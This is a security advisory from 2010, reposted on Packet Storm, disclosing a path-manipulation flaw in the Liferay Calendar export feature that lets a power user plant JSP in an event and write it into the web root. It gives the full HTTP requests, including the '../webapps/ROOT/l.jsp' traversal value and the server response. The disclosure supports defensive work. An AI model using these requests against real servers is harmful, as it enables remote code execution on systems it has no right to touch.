what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Liferay Calendar exportFileName Path Manipulation

Liferay Calendar exportFileName Path Manipulation
Posted Aug 13, 2010
Authored by Stefano Di Paola | Site mindedsecurity.com

Liferay Calendar suffers from an exportFileName path manipulation vulnerability that allows for arbitrary JSP execution.

tags | exploit, arbitrary
SHA-256 | 364ef10eb3fb5346794a9da1561ef77a228dcdd72f907d0ae2256c91da27a284

Liferay Calendar exportFileName Path Manipulation

Change Mirror Download
Minded Security Labs: Advisory #MSA261009
Liferay Calendar "exportFileName" path manipulation

Tested Versions:
Liferay Enterprise Portal 4.4.2, other versions may also be affected.


Minded Security ReferenceID:
MSA261009


Credits:
Discovery by
Stefano Di Paola of Minded Security
stefano.dipaola [_at_] mindedsecurity.com


Reference:
http://issues.liferay.com/browse/LPS-9556


Severity:
High: it is possible to execute code remotely


Solution:
Upgrade to the latest version.


Summary

Minded Security Consultants discovered during a penetration testing activity that
any poweruser can access his Liferay Calendar module and insert a new event and
that he can enter arbitrary JSP code inside the event description.


Analysis

Any poweruser can access his Liferay Calendar module and insert a new event.

It is possible to enter arbitrary JSP code <%="Code Execution"%> inside the
description, as it is possible to see in the body of the following POST request:

POST /user/poweruser/1?p_p_id=8&p_p_action=1&p_p_state=maximized&
p_p_mode=view&_8_struts_action=%2Fcalendar%2Fedit_event HTTP/1.1 _8_cmd=add&_8_redirect=%2Fuser%2Fpoweruser%2F1%3Fp_p_id%3D8%26p_p_action
%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26_8_struts_action
%3D%252Fcalendar%252Fview%26_8_month%3D4%26_8_day%3D27%26_8_year
%3D2010%26tabs1%3Devents&_8_eventId=0&_8_tabs1TabsScroll=
&_8_startDateMonth=4&_8_startDateDay=27&_8_startDateYear=2010
&_8_startDateHour=10&_8_startDateMinute=30&_8_startDateAmPm=0
&_8_durationHour=1&_8_durationMinute=00&_8_allDay=false
&_8_timeZoneSensitive=true&_8_timeZoneSensitiveCheckbox=on
&_8_title=New+Event&_8_description=%3C%25%3D%22Code+Execution%22%25%3E
&_8_type=anniversary&_8_communityPermissions=VIEW&_8_guestPermissions=VIEW
&_8_inputPermissionsShowConfigure=false&_8_inputPermissionsShowMore=false
&_8_tabs1TabsScroll=&_8_recurrenceType=7&_8_dailyType=0&_8_dailyInterval=1
&_8_weeklyInterval=1&_8_monthlyType=0&_8_monthlyDay0=15
&_8_monthlyInterval0=1&_8_monthlyPos=1&_8_monthlyDay1=1
&_8_monthlyInterval1=1&_8_yearlyType=0&_8_yearlyMonth0=0&_8_yearlyDay0=15
&_8_yearlyInterval0=1&_8_yearlyPos=1&_8_yearlyDay1=1&_8_yearlyMonth1=0
&_8_yearlyInterval1=1&_8_endDateType=0&_8_endDateMonth=4&_8_endDateDay=27
&_8_endDateYear=2011&_8_endDateHour=10&_8_endDateMinute=21&_8_endDateAmPm=0
&_8_tabs1TabsScroll=&_8_firstReminder=900000&_8_secondReminder=300000
&_8_remindBy=email


Now he can export his event list to an arbitrary file. Specifying an arbitrary
filename in the ROOT path of the liferay application (ex: webapps/ROOT/l.jsp)
liferay portal will create a file with jsp extension:

POST /user/poweruser/1?p_p_id=8&p_p_action=1&p_p_state=exclusive&
p_p_mode=view&_8_struts_action=%2Fcalendar%2Fexport_events HTTP/1.1 _8_tabs1TabsScroll=&_8_tabs1TabsScroll=
&exportFileName=../webapps/ROOT/l.jsp&_8_tabs1TabsScroll=&_8_importFile=



The name of the new file created will be specified in the response:

HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: public Pragma: public Content-Disposition: attachment; filename="l11661.jsp" Content-Type: text/html;charset=UTF-8 Date: Thu, 27 May 2010 10:22:11 GMT Content-Length: 326


Now the malicious Power User can execute the previous code simply by requesting
the file named "l11661.jsp".


Disclosure Timeline

26/10/09 Issue found
12/05/10 Reported to Vendor


Disclaimer


The information within this paper may change without notice. Use
of this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.

In no event shall the author be liable for any damages whatsoever
arising out of or in connection with the use or spread of this
information.

Any use of this information is at the user's own risk.
Permission is hereby granted for the redistribution of this Alert
electronically. It is not to be edited in any way without express
consent of Minded Security Research Lab. If you wish to reprint the
whole or any part of this Alert in any other medium excluding
electronic medium, please e-mail research_at_mindedsecurity.com
for permission.



Copyright (c) 2010 Minded Security, S.r.l..

All rights reserved worldwide.



Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close